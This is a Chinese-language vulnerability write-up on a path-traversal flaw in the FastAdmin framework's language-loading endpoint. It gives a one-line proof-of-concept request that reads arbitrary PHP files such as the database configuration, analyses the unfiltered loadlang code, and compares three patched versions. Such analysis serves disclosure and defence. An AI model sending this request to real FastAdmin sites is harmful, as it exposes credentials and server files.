FastAdmin是一款基于ThinkPHP+Bootstrap的极速后台开发框架。
POC
♾️ JS 代码:
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: xxx.xxx.xxx.xxx
代码分析 ## 1.2.0.20210125_beta版本分析
定位到相关文件application\\index\\controller\\Ajax.php
:
<?php
namespace app\\index\\controller;
use app\\common\\controller\\Frontend;
use think\\Lang;
/**
* Ajax异步请求接口
* @internal
*/
class Ajax extends Frontend
{
protected $noNeedLogin = [\'lang\', \'upload\'];
protected $noNeedRight = [\'*\'];
protected $layout = \'\';
/**
* 加载语言包
*/
public function lang()
{
header(\'Content-Type: application/javascript\');
header(\"Cache-Control: public\");
header(\"Pragma: cache\");
$offset = 30 * 60 * 60 * 24; // 缓存一个月
header(\"Expires: \" . gmdate(\"D, d M Y H:i:s\", time() + $offset) . \" GMT\");
$controllername = input(\"controllername\");
$this->loadlang($controllername);
//强制输出JSON Object
$result = jsonp(Lang::get(), 200, [], [\'json_encode_param\' => JSON_FORCE_OBJECT | JSON_UNESCAPED_UNICODE]);
return $result;
}
/**
* 上传文件
*/
public function upload()
{
return action(\'api/common/upload\');
}
}
跟进application\\common\\controller\\Frontend.php
文件中的loadlang
方法:
protected function loadlang($name)
{
$name = Loader::parseName($name);
Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $this->request->langset() . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');
}
可以看到对$name
没有任何过滤的处理,可构造类似../../application/database
Payload读取任意PHP文件。
已修复最新版本分析
直接定位文件application\\common\\controller\\Frontend.php
:
protected function loadlang($name)
{
$name = Loader::parseName($name);
$lang = $this->request->langset();
$lang = preg_match(\"/^([a-zA-Z\\-_]{2,10})\\$/i\", $lang) ? $lang : \'zh-cn\';
Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $lang . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');
}
通过/^([a-zA-Z\\-_]{2,10})\\$/i
对路径语言进行过滤,防止通过../
跨目录读取。
彩蛋
在查看application/common/controller/Api.php
历史文件中,发现loadlang
方法的历史提交记录如下。
//V1版本
protected function loadlang($name)
{
$name = Loader::parseName($name);
Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $this->request->langset() . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');
}
♾️ php 代码:
//V2版本
protected function loadlang($name)
{
$name = Loader::parseName($name);
$lang = $this->request->langset();
$lang = preg_match(\"/^([a-zA-Z\\-_]{2,10})\\$/i\", $lang) ? $lang : \'zh-cn\';
Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $lang . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');
}
♾️ php 代码:
//V3版本
protected function loadlang($name)
{
$name = Loader::parseName($name);
$name = preg_match(\"/^([a-zA-Z0-9_\\.\\/]+)\\$/i\", $name) ? $name : \'index\';
$lang = $this->request->langset();
$lang = preg_match(\"/^([a-zA-Z\\-_]{2,10})\\$/i\", $lang) ? $lang : \'zh-cn\';
Lang::load(APP_PATH . $this->request->module() . \'/lang/\' . $lang . \'/\' . str_replace(\'.\', \'/\', $name) . \'.php\');
}